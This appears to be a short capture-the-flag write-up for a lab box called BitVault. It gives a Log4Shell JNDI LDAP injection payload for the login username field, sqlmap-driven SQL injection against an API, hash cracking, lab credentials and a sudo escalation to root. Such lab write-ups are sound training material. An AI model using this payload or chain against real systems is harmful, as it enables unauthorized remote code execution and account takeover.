## **BitVault Writup**

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Static website hosted on port 80 for BitVault is the main website when accessing the ip.

There's a login website running on port 8080 . login for non-admin users display a warning message .

It has a vulnerable implementation of the the log4j vulnerability with the logging website

CVE-2021-44228(Apache Log4j)

```
${jndi:ldap://localhost:1389/Exploit}
```

<u>Payload</u> inserted in username text field.

Setup an LDAP server which will be queried by the log4j library for logging

Jndi injection in login page in the username parameter gives the user shell and finally the user flag

An apk is found in the shell too.

Reversing the apk using tools like ghidra reveals info

Apk exploit steps:

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Get the email and invite code for loggin into the website using SQL injection

Find the api link (http://127.0.0.1:5000) and the parameters (email, invite\_code) used while decompiling the apk

Parameter email and invite\_code are vulnerable to sql injection

Using sqlmap on the parameters, we can get the email and the invite\_code of Hax\_BitVault user

'Hax\_BitVault@yourmail.com', 'cc87e2770f312a9d8f340b23ba82c7c250

Reversing the app gives the idea:

brute force a hash( hashcat ) which is made by hashing last 6 characters of the invite code and the 8 digit password then you get the password

Ssh into the root user shell with acquired creds: Hax\_BitVault:25430304

The user have sudo privs

sudo su

Box pwned

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